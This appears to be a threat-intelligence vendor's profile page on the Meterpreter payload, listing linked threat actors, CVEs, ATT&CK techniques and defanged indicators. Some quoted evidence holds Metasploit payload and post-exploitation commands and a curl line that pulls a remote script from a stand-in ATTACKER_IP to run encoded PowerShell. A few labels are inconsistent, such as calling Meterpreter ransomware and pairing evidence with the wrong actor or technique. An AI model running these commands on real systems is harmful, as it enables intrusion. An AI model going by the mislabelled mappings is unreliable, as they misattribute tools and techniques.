Skip to main content
Meet us at Black Hat USA 2026— Las Vegas, August 1–6Book a Meeting
Mallory
Back to malware
MalwareRansomwareUsed by 24 actorsExploits 11 CVEs

Meterpreter

Meterpreter is the Metasploit Framework’s interactive payload and shell/backdoor component, commonly used as a reverse shell or staged payload for remote command execution and post-exploitation. The content explicitly describes it as a popular reverse shell within Metasploit and as a malicious agent used to manage and control victim computers. Observed forms include Windows and Linux reverse TCP payloads such as windows/meterpreter/reverse_tcp, linux/x86/meterpreter/reverse_tcp, and SMB-based variants. The content also notes Meterpreter can be delivered as a stager that establishes an initial foothold and downloads more advanced components later.

Capabilities directly mentioned in the content include remote command execution, use as a backdoor, and post-compromise control. Meterpreter is also referenced in conjunction with privilege-escalation tradecraft such as the Metasploit getsystem functionality, including named-pipe impersonation, rundll32-based DLL execution, and token manipulation. Linux-focused detection content associates Meterpreter activity with reconnaissance of files such as /etc/machine-id, /etc/passwd, /proc/net/route, /proc/net/ipv6_route, and /proc/net/if_inet6, and with payload behavior involving RWX memory regions.

Infection and delivery vectors mentioned in the content include phishing documents with malicious macros that download and execute a Meterpreter stager; fake software or game-related lures such as a Fortnite "multitool" executable that dropped a Meterpreter backdoor; malware packers; shellcode loaders; and deployment as an additional payload by other malware families and intrusion sets. Proofpoint observed Bumblebee dropping Meterpreter, and multiple reports describe Meterpreter being sent as a task or secondary payload alongside tools such as Cobalt Strike, Sliver, njRAT, Luminosity Link RAT, and custom downloaders.

Threat actor and campaign associations explicitly mentioned include DarkHotel, which separated a Meterpreter remote-control component from functional modules such as keylogging, screen capture, and USB theft; DragonSpark, where execution of m6699.exe or ShellCode_Loader enabled a Meterpreter session for remote command execution; Lebanese Cedar, which used Meterpreter with Explosive RAT to maintain access and steal legitimate network credentials for espionage; Transparent Tribe / Operation Transparent Tribe, where Meterpreter appeared among the toolset used against Indian diplomatic and military targets; Mustang Panda, which used Meterpreter-based shellcode and a Meterpreter stager in phishing campaigns; and Hive0065 / TA505, where attackers installed Meterpreter reverse and bind shells on compromised systems. The content also references Meterpreter-like payloads in the SEO#LURKER campaign and use through SYSTEMBC shellcode injection.

Targeting reflected in the associated reporting includes government, military, diplomatic, telecommunications, research, and enterprise environments, as well as opportunistic victims reached through phishing and trojanized software. Known indicators directly mentioned in the content include the IP address 81.19.135[.]241 identified as a Meterpreter C2 and OpenVPN server, reverse-shell connections to 91.214.124[.]20 and 91.214.124[.]25 in TA505-linked activity, and the JA3 fingerprint 5d65ea3fb1d4aa7d826733d2f2cbbb1d for Metasploit Meterpreter running on Linux.

Share:
For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

EXPLOITED CVES

Vulnerabilities exploited

11 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.

11 CVES
CVE-2022-31794Command Injection in Fujitsu ETERNUS CentricStor CS8000 Control Center (hw_view.php)

On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795

via ncc group researchnccgroup.com
CVE-2020-2555Oracle Coherence / WebLogic T3 Deserialization RCE (CVE-2020-2555)

'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } ... 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }

via github webgithub.com
CVE-2022-31795Command Injection in Fujitsu ETERNUS CentricStor CS8000 grel.php

On the 6th of April 2022, NCC Group’s Fox-IT discovered two separate flaws in FUJITSU CentricStor Control Center V8.1 which allows an attacker to gain remote code execution on the appliance without prior authentication or authorization. These are tracked as CVE-2022-31794 and CVE-2022-31795

via ncc group researchnccgroup.com
CVE-2020-10189Unauthenticated RCE in Zoho ManageEngine Desktop Central getChartImageExploited in the wild

WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... deployed Cobalt Strike and Meterpreter payloads

via crowdstrike bloggo.crowdstrike.com
CVE-2019-19781Directory Traversal and RCE in Citrix ADC and GatewayExploited in the wild

WICKED PANDA ... began 2020 by conducting a wide-ranging campaign focused on exploiting multiple vulnerabilities (CVE-2019-19781 and CVE-2020-10189) ... Upon successful exploitation, they deployed Cobalt Strike and Meterpreter payloads

via crowdstrike bloggo.crowdstrike.com
CVE-2021-34527PrintNightmare

It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A. | The following analytic detects driver load errors in the Windows PrintService Admin logs, specifically identifying issues related to CVE-2021-34527 (PrintNightmare). It triggers on error messages indicating the print spooler failed to load a plug-in module, such as "meterpreter.dll," with error code 0x45A.

via splunk researchresearch.splunk.com
CVE-2021-36260Unauthenticated Command Injection in Hikvision Web Server

Metasploit uses printf to write the Meterpreter stager to disk in 20ish byte chunks (each exploit attempt must fit within a 26 byte buffer), which is quite slow.

via vulncheck blogvulncheck.com
CVE-2019-11510Pulse Secure Pulse Connect Secure Arbitrary File Read Vulnerability

Table 1: Filenames and hashes of files used by a threat actor Filename MD5 t.py (tied to scheduled task, python meterpreter reverse shell port 9090) ... g.py (tied to scheduled task, python meterpreter reverse shell port 8088) ...

via cisa certus-cert.cisa.gov
CVE-2022-47966Unauthenticated RCE in Zoho ManageEngine SAML SSOExploited in the wild

Analysts confirmed that nation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized access to a public-facing application (Zoho ManageEngine ServiceDesk Plus), establish persistence, and move laterally through the network. This vulnerability allows for remote code execution on the ManageEngine application.

via cisa advisoriescisa.gov
CVE-2023-46604Apache ActiveMQ OpenWire Remote Code ExecutionExploited in the wild

A threat actor exploited CVE-2023-46604 on an internet-facing Apache ActiveMQ server... The threat actor was able to perform remote code execution (RCE) by using a Java Spring class and a custom Java Spring bean configuration XML file.

via dfir reportthedfirreport.com
CVE-2026-1731Pre-auth OS Command Injection RCE in BeyondTrust Remote Support and Privileged Remote AccessExploited in the wild

Threat actors are actively exploiting a recently disclosed critical vulnerability, tracked as CVE-2026-1731 (CVSS score: 9.9), in BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA). The bug could allow an unauthenticated attacker to send specially crafted requests and run operating system commands remotely, without logging in.

via security affairssecurityaffairs.com
THREAT ACTORS

Groups observed using it

24 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details
Darkhotel

Compared to previous attack activities of this organization, this time DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

via medium knownsec404teammedium.com
Volatile Cedar

Further use of Meterpreter and their custom Explosive RAT have been associated with objectives around maintaining access through theft of legitimate network credentials, ultimately pursuing espionage objectives.

via sentinelone labssentinelone.com
Cobalt Group

Tools: SpicyOmelette, Cobalt Strike, Meterpreter, Mimikatz, CobtInt, ATMSpitter, Carbanak, Buhtrap, Cyst, Metasploit.

via secureworks threat profilessecureworks.com
Kimsuky

AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.

via virusbulletinvirusbulletin.com
SeedpuNK

AhnLab reported that the Kimsuky group has used a Go language version of Meterpreter, and subsequent discoveries include additional Go-based malware like Troll Stealer and GoBear.

via virusbulletinvirusbulletin.com
IndigoZebra

Cinnamon Tempest has used open-source tools including customized versions of the Iox proxy tool, NPS tunneling tool, Meterpreter, and a keylogger that uploads data to Alibaba cloud storage.

via mitre attack websiteattack.mitre.org
MITRE ATT&CK

Techniques & procedures

37 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

4 techniques
T1091Replication Through Removable MediaEvidence1

DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

T1133External Remote ServicesEvidence1

use auxiliary/scanner/smb/smb_login CreateSession true sessions -u <smb_session_id> use post/windows/manage/smb_to_meterpreter

T1190Exploit Public-Facing ApplicationEvidence2

I focused on the Reflex Gallery plugin that is vulnerable to arbitrary file upload... use exploit/unix/webapp/wp_reflexgallery_file_upload ... Meterpreter session 1 opened

T1566PhishingEvidence1

A tool called AOHell enabled the first large-scale email phishing campaigns on AOL. Attackers impersonated AOL staff, tricked users into handing over passwords, and coined the term phishing.

Execution

9 techniques
T1053Scheduled Task/JobEvidence1

C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.

T1059Command and Scripting InterpreterEvidence4

If you want to use the script in PowerShell Empire, then you can run it on the agent by switching to the command line (shell) mode.

T1059.001PowerShellEvidence1

Trigger via the webshell: curl "http:// < TARGET_IP > :8080/site/index.php?page=http:// < ATTACKER_IP > :8000/cmd.php&cmd=powershell+-enc+ < BASE64_PAYLOAD > "

T1059.004Unix ShellEvidence1

We have a Meterpreter session as www-data. Upgrading to a Full Shell ... meterpreter > shell ... python -c 'import pty; pty.spawn("/bin/bash")'

T1059.005Visual BasicEvidence1

Running oledump.py shows that the document contains macros... Olevba analyzes VBA macros and shows suspicious behavior such as auto-execution, obfuscation, and network activity.

T1059.006PythonEvidence1

In the analyzer you can see perl being leveraged to create and populate the jBNhk payload in the /tmp directory (with RWX permissions) and spawning a reverse Meterpreter shell.

T1204.002Malicious FileEvidence1

When the user enabled macros, the document downloaded an executable named IPhone.exe from the same fake website. Then the executable was launched.

T1569.002Service ExecutionEvidence1

Use the new service executable template technique ... /out:template_x64_windows_svc.exe ... exploit(windows/smb/psexec) ... [*] 192.168.159.10:445 - Uploading payload... PBBcIdul.exe ... [+] 192.168.159.10:445 - Service started successfully...

T1574.010Services File Permissions WeaknessEvidence1

icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.

Persistence

4 techniques
T1053Scheduled Task/JobEvidence1

C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.

T1133External Remote ServicesEvidence1

use auxiliary/scanner/smb/smb_login CreateSession true sessions -u <smb_session_id> use post/windows/manage/smb_to_meterpreter

T1505.003Web ShellEvidence1

[+] Our payload is at: YFnNenxtIkRaeh.php. Calling payload... Meterpreter session 1 opened

T1543.003Windows ServiceEvidence2

[*] Bound to \svcctl [*] Creating service BkAPktWzvIFv... [*] Starting the service... [+] Service started successfully [+] Service 'BkAPktWzvIFv' deleted successfully

Privilege Escalation

4 techniques
T1053Scheduled Task/JobEvidence1

C:\Backup\info.txt documents a scheduled task invoked TFTP.EXE on a five-minute interval as Administrator.

T1055Process InjectionEvidence1

Back on Havoc, we’ll use the shellcode command with the architecture and the PID from our SYSTEM beacon. shellcode inject x64 PID# /home/kali/Desktop/msf.bin ... And with the shellcode successfully injected, we get a meterpreter shell back

T1134.001Token Impersonation/TheftEvidence1

Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload. | In addition to these methods, both tools also support a third method that involves token manipulation.

T1543.003Windows ServiceEvidence2

[*] Bound to \svcctl [*] Creating service BkAPktWzvIFv... [*] Starting the service... [+] Service started successfully [+] Service 'BkAPktWzvIFv' deleted successfully

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence1

You can also see an obfuscated VBA string that resembles Base64-encoded data.

T1027.013Encrypted/Encoded FileEvidence1

The attacker embedded a list of files to be decrypted, all of which were encrypted ciphertexts... The first three types need to be decrypted using the same algorithm and key.

T1055Process InjectionEvidence1

Back on Havoc, we’ll use the shellcode command with the architecture and the PID from our SYSTEM beacon. shellcode inject x64 PID# /home/kali/Desktop/msf.bin ... And with the shellcode successfully injected, we get a meterpreter shell back

T1134.001Token Impersonation/TheftEvidence1

Both tools first attempt to use “named pipe impersonation” to achieve SYSTEM privileges. This involves creating a Windows Service to execute as NT AUTHORITY\SYSTEM and feeding data to it through a named pipe that is randomly created by the malicious payload. | In addition to these methods, both tools also support a third method that involves token manipulation.

T1218.011Rundll32Evidence1

The second GetSystem method uses rundll32.exe and a few hardcoded command line options to execute a DLL for privilege escalation. Thankfully, the command line options are consistent and appear similar to this: rundll32.exe C:\Users\user\AppData\Local\Temp\fvxens.dll,a /p:fvxens

T1574.010Services File Permissions WeaknessEvidence1

icacls confirms every authenticated user has full control over the binary. Replace it with a Meterpreter payload and wait for the scheduler to complete the chain.

T1620Reflective Code LoadingEvidence1

The mprotect() system call is used to change the access protections on a region of memory that has already been allocated... Our aim with this detection rule is to detect network connections from binaries that have read, write and execute memory region permissions set.

Credential Access

2 techniques
T1003OS Credential DumpingEvidence1

There are a lot of way to dump hashes ... use the post modules ... And as you can see, we have dumped the hashes of a fully patched Windows 11 machine!

T1056.001KeyloggingEvidence1

DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

Discovery

5 techniques
T1016System Network Configuration DiscoveryEvidence1

Executes the shell “ ifconfig ” command. The expect routine looks for a string containing “+” as an indication of success.

T1033System Owner/User DiscoveryEvidence1

Executes the shell “ whoami ” command. The expect routine looks for a string containing “Logon ID:” as an indication of success.

T1049System Network Connections DiscoveryEvidence1

Executes the shell “ netstat ” command. The expect routine checks for a string containing the word “Protocol” as an indication of success.

T1082System Information DiscoveryEvidence1

When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files.

T1083File and Directory DiscoveryEvidence1

When Meterpreter spawns, it collects default system information such as the machine, user, and IP routing information by reading specific system files.

Lateral Movement

2 techniques
T1021.002SMB/Windows Admin SharesEvidence3

You can also use the payload option in exploit modules, for instance in exploit/windows/smb/psexec_psh : set payload windows/x64/meterpreter/reverse_named_pipe

T1091Replication Through Removable MediaEvidence1

DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

Collection

4 techniques
T1056.001KeyloggingEvidence1

DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

T1113Screen CaptureEvidence1

DarkHotel has separated the remote control component (meterpreter) from functional components (keyboard logging, screen capture, and USB theft) for separate loading and operation.

T1213Data from Information RepositoriesEvidence1

The tool, released today on the SophosLabs Github, simplifies the task of obtaining either complete inbox contents (in the form of an Exchange-format .pst file) from a previously-compromised server, or partial contents based on filtering rules...

T1560Archive Collected DataEvidence1

Once the Red Team discovers the email account of a person or people they’re interested in, the EXPORT command pulls data down from the Exchange server in the form of a .pst file.

Command and Control

5 techniques
T1071Application Layer ProtocolEvidence3

Hunting C2/Adversaries Infrastructure with Shodan and Censys ... My research Cobalt Strike C2 Metasploit/MSF Covenant C2 Deimos C2 Posh C2 Brute Ratel C4 Mythic C2 Sliver C2 ... Night Hawk C2 NimPlant C2 ShadowPad C2 Infrastructure Async Rat C2 Infrastructure Meterpreter C2 Infrastructure

T1071.001Web ProtocolsEvidence1

[*] Started reverse TCP handler on 192.168.159.128:4444 ... [*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.10:49766)

T1090ProxyEvidence1

A hidden feature of Metasploit, is the ability to add SMB Named Pipe listeners in a meterpreter session to pivot on an internal network. | In the same way as a port forward pivot is set up, your meterpreter session registers a named pipe, and listens to connections to this. After it has been configured, your meterpreter session acts as a listener for SMB connections.

T1105Ingress Tool TransferEvidence4

[*] 192.168.159.10:445 - Uploading payload... PBBcIdul.exe ... [*] 192.168.159.10:445 - Created \PBBcIdul.exe...

T1219Remote Access ToolsEvidence2

A file called fortniat.exe , advertised as a “multitool for FortNite,” was actually a malware packer that drops a Meterpreter backdoor.

INDICATORS OF COMPROMISE

IOCs tracked for this family

89 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
32 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes
43 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other
14 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
ip.v4●●●●●●●●●●●●View more in app17 days ago
domain●●●●●●●●●●●●View more in app3 months ago
ip.v4●●●●●●●●●●●●View more in app4 months ago
uri●●●●●●●●●●●●View more in app4 months ago
domain●●●●●●●●●●●●View more in app4 months ago
hash.sha256●●●●●●●●●●●●View more in app4 months ago
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching89

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution24

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities11

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping37

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.